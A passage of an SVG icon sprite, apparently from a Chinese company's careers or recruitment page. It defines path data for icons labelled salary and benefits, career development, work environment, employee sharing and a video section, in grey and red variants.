m-43.574468-43.574469h1089.361702v784.340426H87.148936V239.659574zM16.62366 456.921872l10.327149-42.354383 525.878468 128.087149-10.305362 42.332596L16.62366 456.921872z m725.14451 128.087149l-10.370723-42.332595 522.915404-128.108937 10.370723 42.332596-522.915404 128.108936zM610.042553 544.680851v43.574468h87.148936v-43.574468h-87.148936z m-21.787234-65.361702h130.723404a43.574468 43.574468 0 0 1 43.574468 43.574468v87.148936a43.574468 43.574468 0 0 1-43.574468 43.574468h-130.723404a43.574468 43.574468 0 0 1-43.574468-43.574468v-87.148936a43.574468 43.574468 0 0 1 43.574468-43.574468zM392.170213 43.574468h-8.170213c4.357447 0 8.170213-3.747404 8.170213-8.714894V43.574468z m0 0h479.319149v130.723404h43.574468V34.859574c0-19.259915-15.861106-34.859574-35.404256-34.859574h-495.659574C364.456851 0 348.595745 15.59966 348.595745 34.859574V174.297872h43.574468V43.574468z m479.319149 0v-8.714894c0 4.967489 3.812766 8.714894 8.170212 8.714894H871.489362z m0 0v-8.714894c0 4.967489 3.812766 8.714894 8.170212 8.714894H871.489362z m0 0v130.723404h43.574468V34.859574c0-19.259915-15.861106-34.859574-35.404256-34.859574h-495.659574C364.456851 0 348.595745 15.59966 348.595745 34.859574V174.297872h43.574468V43.574468h479.319149zM392.170213 43.574468h-8.170213c4.357447 0 8.170213-3.747404 8.170213-8.714894V43.574468z m-108.93617 108.93617h87.148936a21.787234 21.787234 0 0 1 0 43.574468h-87.148936a21.787234 21.787234 0 0 1 0-43.574468z m613.681021 0h87.148936a21.787234 21.787234 0 0 1 0 43.574468h-87.148936a21.787234 21.787234 0 1 1 0-43.574468z" fill="#333333" ></path></symbol><symbol id="icon-xinchoufuli" viewBox="0 0 1191 1024"><path d="M989.476571 982.204082c-4.242286 0-7.27249 3.092898-7.272489 6.436571V982.204082h7.272489zM982.204082 571.245714L1024 564.244898v424.395755c0 19.518694-15.46449 35.359347-34.523429 35.359347H264.40098C245.342041 1024 229.877551 1008.159347 229.877551 988.640653V697.155918h41.795918V982.204082h710.530613V571.245714zM271.673469 988.640653c0-3.343673-3.030204-6.436571-7.272489-6.436571H271.673469v6.436571z m0 0c0-3.343673-3.030204-6.436571-7.272489-6.436571H271.673469v6.436571zM982.204082 982.204082V571.245714L1024 564.244898v424.395755c0 19.518694-15.46449 35.359347-34.523429 35.359347H264.40098C245.342041 1024 229.877551 1008.159347 229.877551 988.640653V697.155918h41.795918V982.204082h710.530613z m7.272489 0c-4.242286 0-7.27249 3.092898-7.272489 6.436571V982.204082h7.272489z m-779.702857-438.857143H1015.640816l-185.281306 167.183673H3.782531l205.970285-167.183673z m14.816653 41.795918l-102.985143 83.591837h692.704654l92.640653-83.591837H224.590367zM1024 614.692571V668.734694h54.042122L1024 614.692571zM982.204082 710.530612v-164.132571h9.884734l20.082939-2.633143 166.765714 166.765714H982.204082zM223.629061 498.876082A389.12 389.12 0 0 1 208.979592 392.777143C208.979592 175.856327 386.758531 0 606.040816 0s397.061224 175.856327 397.061225 392.777143c0 37.741714-5.370776 74.229551-15.422694 108.773877l-40.124082-11.661061c9.090612-31.284245 13.750857-63.885061 13.750857-97.112816C961.306122 199.053061 802.356245 41.795918 606.040816 41.795918S250.77551 199.032163 250.77551 392.777143c0 32.391837 4.430367 64.156735 13.082123 94.730449l-40.228572 11.36849z m395.096817-251.695021l-162.565225 162.565225 63.947755 63.926857-29.549714 29.549714-68.858776-68.858775a34.836898 34.836898 0 0 1 0-49.25649l172.408164-172.408163c13.583673-13.583673 35.63102-13.583673 49.235591 0l172.408164 172.408163c13.583673 13.604571 13.583673 35.651918 0 49.25649L742.50449 507.611429l-29.570612-29.549715 68.315428-68.29453-162.544326-162.565225z" fill="#333333" ></path></symbol><symbol id="icon-zhiyefazhan" viewBox="0 0 1024 1024"><path d="M390.373878 538.72849c-90.195592 41.294367-146.411102 101.814857-170.109388 182.16751-26.435918 89.526857-38.912 157.048163-37.658123 202.334041 0 34.669714 30.009469 52.662857 101.68947 52.662857l470.72653 0.020898c70.844082 1.713633 100.14302-13.061224 100.143021-40.437551 0-82.985796-8.860735-142.043429-38.305959-213.786123-27.501714-81.293061-93.016816-149.232327-173.097796-186.932244-37.052082 19.581388-80.749714 29.466122-130.821225 29.466122-46.560653 0-87.478857-8.568163-122.545632-25.49551z m293.010285-30.678204c79.892898 43.864816 144.258612 115.085061 172.617143 198.990367 31.346939 76.277551 40.96 140.434286 40.96 228.435592 0 58.305306-51.764245 84.427755-142.44049 82.233469h-470.204081c-91.783837 0-143.506286-31.054367-143.485388-93.89453-1.421061-50.029714 11.765551-121.354449 39.329959-214.747429 25.077551-84.950204 81.669224-150.590694 168.688327-196.482612-37.281959-29.821388-65.43151-72.432327-84.051592-127.561143l39.601632-13.374694c34.272653 101.522286 102.441796 150.778776 208.540735 150.778776 106.182531 0 175.396571-49.381878 211.487347-151.092245l39.392653 14.001632c-18.53649 52.244898-45.473959 93.225796-80.436245 122.712817z m198.384327-297.963102L576.72098 380.551837l-146.327511-175.124898-322.601796 166.974694-19.226122-37.093878 352.402286-182.439184 145.616979 174.28898 264.651755-147.894857-89.025306-12.162612 5.642449-41.419755 172.826123 23.635591-42.966204 165.888-40.458449-10.490775 24.513306-94.625959zM689.632653 139.807347C649.069714 79.370449 579.772082 41.795918 503.59902 41.795918c-74.64751 0-142.628571 36.111673-183.421387 94.249796L271.673469 134.791837C316.353306 54.543673 403.456 0 503.59902 0c53.185306 0 102.692571 15.380898 144.133225 41.816816 34.251755 21.880163 73.93698 62.56849 93.016816 98.011429H689.632653z m-100.999837 577.682286V762.77551a45.285878 45.285878 0 1 0 90.550857 0v-45.285877h-90.550857z m0-41.795919H679.183673a41.795918 41.795918 0 0 1 41.795919 41.795919V762.77551a87.081796 87.081796 0 1 1-174.142694 0v-45.285877a41.795918 41.795918 0 0 1 41.795918-41.795919z" fill="#333333" ></path></symbol><symbol id="icon-gongzuohuanjing" viewBox="0 0 1044 1024"><path d="M34.836898 835.918367c4.555755 0 6.95902-2.591347 6.95902-4.304979V835.918367h-6.95902zM41.795918 835.918367h961.306123v188.081633h41.795918v-192.386612c0-20.68898-15.589878-37.490939-34.836898-37.490939H34.836898C15.610776 794.122449 0 810.90351 0 831.613388V1024h41.795918v-188.081633z m961.306123 0v-4.304979c0 1.713633 2.403265 4.30498 6.95902 4.304979H1003.102041z m0 0v-4.304979c0 1.713633 2.403265 4.30498 6.95902 4.304979H1003.102041z m0 0v188.081633h41.795918v-192.386612c0-20.68898-15.589878-37.490939-34.836898-37.490939H34.836898C15.610776 794.122449 0 810.90351 0 831.613388V1024h41.795918v-188.081633h961.306123zM41.795918 835.918367h-6.95902c4.555755 0 6.95902-2.591347 6.95902-4.304979V835.918367zM125.387755 41.795918v585.142858h794.122449V41.795918H125.387755zM83.591837 0h877.714285v668.734694H83.591837V0zM52.244898 501.55102h940.408163a10.44898 10.44898 0 0 1 10.44898 10.44898v20.897959a10.44898 10.44898 0 0 1-10.44898 10.44898h-940.408163a10.44898 10.44898 0 0 1-10.44898-10.44898v-20.897959a10.44898 10.44898 0 0 1 10.44898-10.44898zM501.55102 668.734694v83.591837h41.795919v-83.591837h-41.795919z m83.591837 83.591837h62.693878a20.897959 20.897959 0 0 1 0 41.795918H397.061224a20.897959 20.897959 0 0 1 0-41.795918h62.693878v-83.591837a41.795918 41.795918 0 0 1 41.795918-41.795918h41.795919a41.795918 41.795918 0 0 1 41.795918 41.795918v83.591837z" fill="#333333" ></path></symbol><symbol id="icon-yuangongfenxiang" viewBox="0 0 1024 1024"><path d="M474.065455 410.856727l6.213818-7.633454a8.890182 8.890182 0 0 1-13.172364 0.651636l6.958546 6.981818z m0 0l140.730181 140.730182-452.049454 381.672727 30.021818 35.584 459.450182-387.956363a37.655273 37.655273 0 0 0 2.327273-55.365818l-154.53091-154.53091a37.655273 37.655273 0 0 0-55.784727 2.792728L63.860364 839.936l36.072727 29.416727L474.065455 410.856727z m140.730181 140.730182l7.400728-6.237091a8.890182 8.890182 0 0 0-0.558546 13.079273l-6.842182-6.842182z m0 0l7.400728-6.237091a8.890182 8.890182 0 0 0-0.558546 13.079273l-6.842182-6.842182z m0 0l-452.049454 381.672727 30.021818 35.584 459.450182-387.956363a37.655273 37.655273 0 0 0 2.327273-55.365818l-154.53091-154.53091a37.655273 37.655273 0 0 0-55.784727 2.792728L63.860364 839.936l36.072727 29.416727L474.065455 410.856727l140.730181 140.730182z m-140.730181-140.730182l-6.981819-6.981818a8.890182 8.890182 0 0 0 13.195637-0.651636l-6.213818 7.633454zM43.613091 1014.318545L11.729455 980.48l238.475636-224.581818 31.906909 33.861818-238.498909 224.581818zM457.541818 405.480727c-38.586182-102.190545-16.756364-222.021818 65.512727-304.290909 112.011636-111.988364 293.608727-111.988364 405.620364 0 111.988364 112.011636 111.988364 293.608727 0 405.620364-81.687273 81.664-200.331636 103.796364-302.033454 66.350545m24.133818-40.890182a240.244364 240.244364 0 0 0 244.968727-58.391272c93.835636-93.812364 93.835636-245.946182 0-339.781818-93.812364-93.789091-245.946182-93.789091-339.781818 0a240.290909 240.290909 0 0 0-56.296727 251.042909m39.866181-281.530182l-14.056727 14.056727 386.722909 386.722909 14.056727-14.056727L539.508364 103.586909z m32.907637-32.907637l386.722909 386.72291a46.545455 46.545455 0 0 1 0 65.838545l-14.033455 14.033455a46.545455 46.545455 0 0 1-65.838545 0L492.544 150.551273a46.545455 46.545455 0 0 1 0-65.838546l14.033455-14.033454a46.545455 46.545455 0 0 1 65.838545 0z" fill="#333333" ></path></symbol><symbol id="icon-shipinzhuanqu" viewBox="0 0 1064 1024"><path d="M107.37664 648.0896A490.96704 490.96704 0 0 1 81.92 491.52C81.92 220.0576 301.9776 0 573.44 0s491.52 220.0576 491.52 491.52-220.0576 491.52-491.52 491.52c-75.03872 0-146.14528-16.81408-209.75616-46.8992l17.48992-37.00736A448.63488 448.63488 0 0 0 573.44 942.08c248.832 0 450.56-201.728 450.56-450.56S822.272 40.96 573.44 40.96 122.88 242.688 122.88 491.52c0 49.41824 7.94624 97.6896 23.3472 143.52384l-38.85056 13.04576zM702.0544 506.2656l-175.3088-125.19424v250.40896l175.3088-125.21472z m23.79776 33.34144l-175.3088 125.19424a40.96 40.96 0 0 1-64.75776-33.32096V381.07136a40.96 40.96 0 0 1 64.77824-33.34144l175.28832 125.21472a40.96 40.96 0 0 1 0 66.6624zM40.96 696.32v286.72h286.72V696.32H40.96z m-40.96-40.96h368.64v368.64H0V655.36z m143.36 102.4a20.48 20.48 0 0 1 20.48 20.48v122.88a20.48 20.48 0 0 1-40.96 0v-122.88a20.48 20.48 0 0 1 20.48-20.48z m102.4 0a20.48 20.48 0 0 1 20.48 20.48v122.88a20.48 20.48 0 0 1-40.96 0v-122.88a20.48 20.48 0 0 1 20.48-20.48z" fill="#333333" ></path></symbol><symbol id="icon-wangyijieshao" viewBox="0 0 1310 1024"><path d="M942.08 983.04h327.68V454.0416L942.08 348.16v634.88z m-40.96-696.32l409.6 133.59104V1024H901.12V286.72z m85.4016 196.3008h38.64576v38.64576H986.5216v-38.64576z m0 81.92h38.64576v38.64576H986.5216v-38.64576z m0 81.92h38.64576v38.64576H986.5216v-38.64576z m0 61.44h38.64576v38.64576H986.5216v-38.64576z m0 81.92h38.64576v38.64576H986.5216v-38.64576z m0 81.92h38.64576v38.64576H986.5216v-38.64576z m81.92-389.12h38.64576v38.64576H1068.4416v-38.64576z m0 81.92h38.64576v38.64576H1068.4416v-38.64576z m0 81.92h38.64576v38.64576H1068.4416v-38.64576z m0 61.44h38.64576v38.64576H1068.4416v-38.64576z m0 81.92h38.64576v38.64576H1068.4416v-38.64576z m81.92-225.28h38.64576v38.64576H1150.3616v-38.64576z m0 143.36h38.64576v38.64576H1150.3616v-38.64576z m0 81.92h38.64576v38.64576H1150.3616v-38.64576z m-336.56832-196.05504a2.31424 2.31424 0 0 0-2.31424-2.31424h2.31424v2.31424z m0-532.43904l246.53824 124.17024v115.44576h40.96V184.48384c0-14.60224-8.23296-27.9552-21.25824-34.5088L828.8256 23.4496a38.64576 38.64576 0 0 0-56.0128 34.5088v536.20736c0 21.34016 17.3056 38.64576 38.64576 38.64576h29.2864v-40.96h-26.97216V61.72672z m0-3.76832a2.31424 2.31424 0 0 1-3.35872 2.06848l3.35872 1.69984V57.9584z m247.808 128.59392a2.31424 2.31424 0 0 1-1.26976-2.06848v1.4336l1.26976 0.6144z m-1.26976-2.06848c0 0.86016 0.49152 1.67936 1.26976 2.048l-1.26976-0.6144v-1.4336z m4.7104 2.82624v115.6096H1105.92V185.87648c0-14.60224-8.192-27.97568-21.21728-34.54976L834.1504 24.61696A38.42048 38.42048 0 0 0 816.78336 20.48C795.48416 20.48 778.24 37.80608 778.24 59.1872v536.9856c0 21.38112 17.26464 38.7072 38.54336 38.7072h29.24544v-41.02144h-26.9312V62.95552l245.9648 124.35456zM813.81376 57.9584a2.31424 2.31424 0 0 1-3.35872 2.06848l3.35872 1.69984V57.9584z m0 536.20736a2.31424 2.31424 0 0 0-2.31424-2.31424h2.31424v2.31424z m-159.51872 226.304V102.4L163.84 374.12864V983.04h491.52l-1.08544-162.57024zM696.32 1024H122.88V338.98496L665.04704 43.4176a20.21376 20.21376 0 0 1 27.48416 8.192 20.48 20.48 0 0 1 2.4576 9.728v741.53984L696.32 1024z m-245.76-163.84v40.96H0v-40.96h450.56z" fill="#333333" ></path></symbol><symbol id="icon-gongzuohuanjingxuanzhong" viewBox="0 0 1043 1024"><path d="M433.230769 787.692308a19.692308 19.692308 0 0 1-19.692307-19.692308v-98.461538a19.692308 19.692308 0 0 1 19.692307-19.692308h98.461539a19.692308 19.692308 0 0 1 19.692307 19.692308v98.461538a19.692308 19.692308 0 0 1-19.692307 19.692308h374.153846a19.692308 19.692308 0 0 1 19.692308 19.692307v177.23077a19.692308 19.692308 0 0 1-19.692308 19.692307H19.692308a19.692308 19.692308 0 0 1-19.692308-19.692307v-177.23077a19.692308 19.692308 0 0 1 19.692308-19.692307h413.538461zM78.769231 0h748.307692a19.692308 19.692308 0 0 1 19.692308 19.692308v512a19.692308 19.692308 0 0 1-19.692308 19.692307H78.769231a19.692308 19.692308 0 0 1-19.692308-19.692307V19.692308a19.692308 19.692308 0 0 1 19.692308-19.692308z" fill="#FFD5D5" ></path><path d="M91.904 846.769231c4.292923 0 6.557538-2.441846 6.557538-4.056616V846.769231h-6.557538zM98.461538 846.769231h905.846154v177.230769h39.384616v-181.287385c0-19.495385-14.690462-35.328-32.827077-35.328H91.904C73.787077 807.384615 59.076923 823.197538 59.076923 842.712615V1024h39.384615v-177.230769z m905.846154 0v-4.056616c0 1.614769 2.264615 4.056615 6.557539 4.056616H1004.307692z m0 0v-4.056616c0 1.614769 2.264615 4.056615 6.557539 4.056616H1004.307692z m0 0v177.230769h39.384616v-181.287385c0-19.495385-14.690462-35.328-32.827077-35.328H91.904C73.787077 807.384615 59.076923 823.197538 59.076923 842.712615V1024h39.384615v-177.230769h905.846154zM98.461538 846.769231h-6.557538c4.292923 0 6.557538-2.441846 6.557538-4.056616V846.769231zM177.230769 98.461538v551.384616h748.307693V98.461538H177.230769zM137.846154 59.076923h827.076923v630.153846H137.846154V59.076923zM108.307692 531.692308h886.153846a9.846154 9.846154 0 0 1 9.846154 9.846154v19.692307a9.846154 9.846154 0 0 1-9.846154 9.846154h-886.153846a9.846154 9.846154 0 0 1-9.846154-9.846154v-19.692307a9.846154 9.846154 0 0 1 9.846154-9.846154zM531.692308 689.230769v78.769231h39.384615v-78.769231h-39.384615z m78.76923 78.769231h59.076924a19.692308 19.692308 0 0 1 0 39.384615H433.230769a19.692308 19.692308 0 0 1 0-39.384615h59.076923v-78.769231a39.384615 39.384615 0 0 1 39.384616-39.384615h39.384615a39.384615 39.384615 0 0 1 39.384615 39.384615v78.769231z" fill="#E6231F" ></path></symbol><symbol id="icon-yuangongfenxiangxuanzhong" viewBox="0 0 1024 1024"><path d="M846.325551 66.309224C724.114286-14.001633 607.169306-14.001633 495.574204 66.309224c-111.595102 80.310857-138.553469 190.67298-80.875102 331.06547L43.467755 861.518367c-75.67151 143.339102-52.286694 185.699265 70.217143 127.122286 26.582204-3.489959 204.59102-159.764898 534.068245-468.845714 115.983673-32.412735 182.188408-61.398204 198.593306-86.93551 24.617796-38.285061 133.997714-160.245551 56.090122-285.842286-9.822041-33.332245-28.525714-60.248816-56.090122-80.707919z" fill="#FFD5D5" ></path><path d="M528.59298 473.464163l5.579755-6.85453a7.98302 7.98302 0 0 1-11.828245 0.626938l6.24849 6.227592z m0 0l126.369959 126.390857-405.901061 342.726531 26.958367 31.932082L688.587755 626.165551a33.812898 33.812898 0 0 0 2.089796-49.737143l-138.762449-138.762449a33.812898 33.812898 0 0 0-50.113306 2.528653L160.245551 858.759837l32.391837 26.41502 335.955592-411.689796z m126.369959 126.390857l6.645551-5.621551a7.98302 7.98302 0 0 0-0.480653 11.765551l-6.164898-6.144z m0 0l6.645551-5.621551a7.98302 7.98302 0 0 0-0.480653 11.765551l-6.164898-6.144z m0 0l-405.901061 342.726531 26.958367 31.932082L688.587755 626.165551a33.812898 33.812898 0 0 0 2.089796-49.737143l-138.762449-138.762449a33.812898 33.812898 0 0 0-50.113306 2.528653L160.245551 858.759837l32.391837 26.41502 335.955592-411.689796 126.369959 126.369959z m-126.369959-126.390857l-6.269388-6.24849a7.98302 7.98302 0 0 0 11.849143-0.60604l-5.579755 6.85453zM142.085224 1015.369143l-28.672-30.427429 214.183184-201.665306 28.630204 30.427429L142.106122 1015.369143z m371.649307-546.732408c-34.648816-91.783837-15.046531-199.366531 58.848653-273.240817 100.56098-100.581878 263.627755-100.581878 364.209632 0 100.56098 100.581878 100.56098 263.648653 0 364.209633-73.351837 73.351837-179.889633 93.204898-271.213714 59.60098m21.671184-36.717715a215.729633 215.729633 0 0 0 219.992816-52.432979c84.239673-84.260571 84.239673-220.849633 0-305.110204-84.260571-84.239673-220.870531-84.239673-305.110204 0a215.771429 215.771429 0 0 0-50.573061 225.426285m35.798204-252.802612l-12.60147 12.60147L922.017959 557.432163l12.60147-12.601469L587.358041 197.569306zM616.907755 168.019592l347.261388 347.261388a41.795918 41.795918 0 0 1 0 59.099428l-12.60147 12.60147a41.795918 41.795918 0 0 1-59.120326 0L545.185959 239.72049a41.795918 41.795918 0 0 1 0-59.099429l12.622368-12.601469a41.795918 41.795918 0 0 1 59.099428 0z" fill="#E6231F" ></path></symbol><symbol id="icon-xinchoufulixuanzhong" viewBox="0 0 1208 1024"><path d="M891.63776 536.86272c35.20512-51.01568 49.95072-108.76928 44.21632-173.2608C914.88256 127.50848 782.86848 0.512 659.72224 0.512c-268.41088-6.22592-324.52608 59.04384-388.17792 150.1184-63.65184 91.09504-51.52768 198.79936-51.52768 255.85664 9.70752 0-61.52192 72.9088-213.7088 218.74688a20.48 20.48 0 0 0 14.27456 35.26656c49.7664-0.24576 121.50784-0.06144 215.16288 0.55296v288.5632c0-13.4144 655.89248-16.24064 655.89248-8.04864V651.42784c-129.59744 4.03456-192.36864 4.03456-188.29312 0 4.05504-4.03456 66.82624-42.22976 188.29312-114.56512z" fill="#FFD5D5" ></path><path d="M1010.64704 983.04c-4.15744 0-7.12704 3.03104-7.12704 6.30784V983.04h7.12704zM1003.52 580.3008L1044.48 573.44v415.90784c0 19.12832-15.1552 34.65216-33.83296 34.65216H300.07296C281.3952 1024 266.24 1008.47616 266.24 989.34784V703.6928h40.96V983.04h696.32V580.3008zM307.2 989.34784c0-3.2768-2.9696-6.30784-7.12704-6.30784H307.2v6.30784z m0 0c0-3.2768-2.9696-6.30784-7.12704-6.30784H307.2v6.30784zM1003.52 983.04V580.3008L1044.48 573.44v415.90784c0 19.12832-15.1552 34.65216-33.83296 34.65216H300.07296C281.3952 1024 266.24 1008.47616 266.24 989.34784V703.6928h40.96V983.04h696.32z m7.12704 0c-4.15744 0-7.12704 3.03104-7.12704 6.30784V983.04h7.12704z m-764.1088-430.08H1036.288l-181.57568 163.84H44.66688l201.85088-163.84z m14.52032 40.96l-100.92544 81.92h678.85056l90.78784-81.92H261.05856zM1044.48 622.87872V675.84h52.96128L1044.48 622.87872zM1003.52 716.8v-160.84992h9.68704l19.68128-2.58048 163.4304 163.4304H1003.52zM260.11648 509.37856A381.3376 381.3376 0 0 1 245.76 405.4016C245.76 192.8192 419.98336 20.48 634.88 20.48s389.12 172.3392 389.12 384.9216c0 36.98688-5.26336 72.74496-15.11424 106.5984l-39.3216-11.42784c8.9088-30.65856 13.47584-62.60736 13.47584-95.17056C983.04 215.552 827.26912 61.44 634.88 61.44s-348.16 154.09152-348.16 343.9616c0 31.744 4.34176 62.8736 12.82048 92.83584l-39.424 11.14112z m387.19488-246.66112l-159.31392 159.31392 62.6688 62.64832-28.95872 28.95872-67.4816-67.4816a34.14016 34.14016 0 0 1 0-48.27136l168.96-168.96c13.312-13.312 34.9184-13.312 48.25088 0l168.96 168.96c13.312 13.33248 13.312 34.93888 0 48.27136L768.6144 517.9392l-28.9792-28.95872 66.94912-66.92864-159.29344-159.31392z" fill="#E6231F" ></path></symbol><symbol id="icon-zhiyefazhanxuanzhong" viewBox="0 0 1024 1024"><path d="M670.464 379.076923l-44.189538 16.088615-134.360616-151.532307-285.006769 154.820923C181.366154 310.016 183.571692 195.052308 247.670154 125.833846 316.849231 51.042462 382.936615 13.646769 445.971692 13.646769c73.058462 3.032615 137.511385 23.512615 193.378462 61.479385 71.404308 48.502154 80.580923 213.956923 31.094154 303.950769z m-62.188308 73.590154c-30.385231 50.668308 13.981538 88.221538 31.113846 105.491692 101.986462 42.968615 134.498462 242.884923 143.044924 292.371693 5.710769 32.984615-5.080615 56.576-32.315077 70.793846H247.650462c-132.391385 13.981538-191.015385-22.232615-175.852308-108.662154C136.664615 573.755077 283.569231 515.465846 278.252308 515.190154c-19.278769-11.460923-37.454769-35.052308-52.105846-65.654154l249.974153-130.008615 132.17477 133.12z" fill="#FFD5D5" ></path><path d="M436.775385 566.724923c-84.992 38.912-137.964308 95.940923-160.295385 171.657846-24.910769 84.361846-36.667077 147.987692-35.485538 190.660923 0 32.669538 28.278154 49.624615 95.822769 49.624616l443.569231 0.019692c66.756923 1.614769 94.365538-12.307692 94.365538-38.104615 0-78.198154-8.349538-133.848615-36.096-201.452308-25.915077-76.603077-87.650462-140.622769-163.111385-176.147692-34.914462 18.451692-76.091077 27.766154-123.273846 27.766153-43.874462 0-82.432-8.073846-115.475692-24.024615z m276.105846-28.908308c75.283692 41.334154 135.936 108.445538 162.658461 187.510154 29.538462 71.876923 38.596923 132.332308 38.596923 215.256616 0 54.941538-48.777846 79.556923-134.222769 77.48923h-443.076923c-86.488615 0-135.227077-29.262769-135.207385-88.477538-1.339077-47.143385 11.086769-114.353231 37.060924-202.358154 23.630769-80.049231 76.957538-141.902769 158.956307-185.147077-35.131077-28.100923-61.656615-68.253538-79.202461-120.201846l37.316923-12.603077c32.295385 95.665231 96.531692 142.08 196.509538 142.08 100.056615 0 165.277538-46.532923 199.286154-142.375385l37.12 13.193847c-17.467077 49.230769-42.850462 87.847385-75.795692 115.63323z m186.939077-280.772923L612.371692 417.673846l-137.885538-165.021538-303.990154 157.341538-18.116923-34.953846 332.071385-171.913846 137.216 164.233846 249.383384-139.362462-83.889231-11.460923 5.316923-39.030153 162.855385 22.272-40.487385 156.317538-38.124307-9.885538 23.099077-89.16677zM718.769231 190.818462C680.546462 133.868308 615.246769 98.461538 543.468308 98.461538c-70.340923 0-134.4 34.028308-172.839385 88.812308L324.923077 186.092308C367.025231 110.473846 449.102769 59.076923 543.468308 59.076923c50.116923 0 96.768 14.493538 135.817846 39.404308 32.275692 20.617846 69.671385 58.958769 87.650461 92.356923H718.769231z m-95.172923 544.354461V777.846154a42.673231 42.673231 0 1 0 85.326769 0v-42.673231h-85.326769z m0-39.384615H708.923077a39.384615 39.384615 0 0 1 39.384615 39.384615V777.846154a82.057846 82.057846 0 1 1-164.096 0v-42.673231a39.384615 39.384615 0 0 1 39.384616-39.384615z" fill="#E6231F" ></path></symbol><symbol id="icon-shipinzhuanquxuanzhong" viewBox="0 0 1042 1024"><path d="M380.397714 862.939429l0.091429 2.139428c-9.691429 51.309714-11.812571 71.862857-6.345143 61.622857a5815.771429 5815.771429 0 0 1-254.500571-0.438857c-90.788571-2.011429-124.379429-20.260571-100.754286-54.765714 0-67.218286 0.786286-129.755429 2.377143-187.611429 1.572571-56.941714 25.508571-78.811429 71.808-65.645714A437.302857 437.302857 0 0 1 54.857143 438.857143C54.857143 196.48 251.337143 0 493.714286 0s438.857143 196.48 438.857143 438.857143-196.48 438.857143-438.857143 438.857143c-39.186286 0-77.165714-5.12-113.316572-14.774857z m-6.162285-1.682286a435.382857 435.382857 0 0 1-12.452572-3.730286c4.059429 1.938286 8.192 3.858286 12.361143 5.796572l0.091429-2.066286z" fill="#FFD5D5" ></path><path d="M187.300571 688.365714A438.363429 438.363429 0 0 1 164.571429 548.571429C164.571429 306.194286 361.051429 109.714286 603.428571 109.714286s438.857143 196.48 438.857143 438.857143-196.48 438.857143-438.857143 438.857142c-66.998857 0-130.486857-15.012571-187.282285-41.874285l15.616-33.042286A400.566857 400.566857 0 0 0 603.428571 950.857143c222.171429 0 402.285714-180.114286 402.285715-402.285714S825.6 146.285714 603.428571 146.285714s-402.285714 180.114286-402.285714 402.285715c0 44.123429 7.094857 87.222857 20.845714 128.146285l-34.688 11.648zM718.262857 561.737143l-156.525714-111.780572v223.579429l156.525714-111.798857z m21.248 29.769143l-156.525714 111.780571a36.571429 36.571429 0 0 1-57.819429-29.750857V449.956571a36.571429 36.571429 0 0 1 57.837715-29.769142l156.507428 111.798857a36.571429 36.571429 0 0 1 0 59.52zM128 731.428571v256h256V731.428571H128z m-36.571429-36.571428h329.142858v329.142857H91.428571V694.857143z m128 91.428571a18.285714 18.285714 0 0 1 18.285715 18.285715v109.714285a18.285714 18.285714 0 0 1-36.571429 0v-109.714285a18.285714 18.285714 0 0 1 18.285714-18.285715z m91.428572 0a18.285714 18.285714 0 0 1 18.285714 18.285715v109.714285a18.285714 18.285714 0 0 1-36.571428 0v-109.714285a18.285714 18.285714 0 0 1 18.285714-18.285715z" fill="#E6231F" ></path></symbol><symbol id="icon-yewutixixuanzhong" viewBox="0 0 1187 1024"><path d="M238.94016 187.74016V40.96a40.96 40.96 0 0 1 40.96-40.96h430.08a40.96 40.96 0 0 1 40.96 40.96v146.78016H931.84a40.96 40.96 0 0 1 40.96 40.96v634.88a40.96 40.96 0 0 1-40.96 40.96H40.96a40.96 40.96 0 0 1-40.96-40.96v-634.88a40.96 40.96 0 0 1 40.96-40.96h197.98016z" fill="#FFD5D5" ></path><path d="M107.25376 327.68v655.36h942.08V327.68h-942.08z m-40.96-40.96h1024v737.28h-1024V286.72zM0 490.94656l9.68704-39.81312 494.34624 120.40192-9.70752 39.79264L0 490.94656z m681.61536 120.40192l-9.728-39.79264 491.52-120.4224 9.76896 39.79264-491.56096 120.4224zM557.81376 573.44v40.96h81.92v-40.96h-81.92z m-20.48-61.44h122.88a40.96 40.96 0 0 1 40.96 40.96v81.92a40.96 40.96 0 0 1-40.96 40.96h-122.88a40.96 40.96 0 0 1-40.96-40.96v-81.92a40.96 40.96 0 0 1 40.96-40.96z m-184.32-409.6h-7.68c4.096 0 7.68-3.52256 7.68-8.192V102.4z m0 0h450.56v122.88h40.96V94.208c0-18.10432-14.90944-32.768-33.28-32.768h-465.92c-18.39104 0-33.28 14.66368-33.28 32.768V225.28h40.96V102.4z m450.56 0v-8.192c0 4.66944 3.56352 8.192 7.68 8.192h-7.68z m0 0v-8.192c0 4.66944 3.56352 8.192 7.68 8.192h-7.68z m0 0v122.88h40.96V94.208c0-18.10432-14.90944-32.768-33.28-32.768h-465.92c-18.39104 0-33.28 14.66368-33.28 32.768V225.28h40.96V102.4h450.56z m-450.56 0h-7.68c4.096 0 7.68-3.52256 7.68-8.192V102.4z m-102.4 102.4h81.92a20.48 20.48 0 0 1 0 40.96h-81.92a20.48 20.48 0 1 1 0-40.96z m576.83968 0h81.92a20.48 20.48 0 1 1 0 40.96h-81.92a20.48 20.48 0 0 1 0-40.96z" fill="#E6231F" ></path></symbol><symbol id="icon-yingpinjilufangda" viewBox="0 0 1024 1024"><path d="M360.296296 341.333333l606.814815 0 0 682.666667-606.814815 0 0-682.666667Z" fill="#e6e6e6" ></path><path d="M280.841481 151.703704v75.851852H246.518519v606.814814h530.962962V227.555556h-34.588444V151.703704H777.481481a75.851852 75.851852 0 0 1 75.851852 75.851852v606.814814a75.851852 75.851852 0 0 1-75.851852 75.851852H246.518519a75.851852 75.851852 0 0 1-75.851852-75.851852V227.555556a75.851852 75.851852 0 0 1 75.851852-75.851852h34.322962zM360.296296 606.814815h303.407408a37.925926 37.925926 0 0 1 0 75.851852H360.296296a37.925926 37.925926 0 0 1 0-75.851852z m37.925926-189.62963h227.555556a37.925926 37.925926 0 0 1 0 75.851852H398.222222a37.925926 37.925926 0 0 1 0-75.851852zM360.296296 75.851852a37.925926 37.925926 0 0 1 37.925926 37.925926v151.703703a37.925926 37.925926 0 1 1-75.851852 0V113.777778a37.925926 37.925926 0 0 1 37.925926-37.925926z m303.407408 0a37.925926 37.925926 0 0 1 37.925926 37.925926v151.703703a37.925926 37.925926 0 0 1-75.851852 0V113.777778a37.925926 37.925926 0 0 1 37.925926-37.925926z m-189.62963 75.851852h75.851852a37.925926 37.925926 0 0 1 0 75.851852h-75.851852a37.925926 37.925926 0 0 1 0-75.851852z" fill="#333333" ></path></symbol><symbol id="icon-hebingxingzhuang1" viewBox="0 0 1024 1024"><path d="M202.173217 615.735652a214.906435 214.906435 0 0 0-1.691826 22.394435c3.116522 12.109913 6.233043 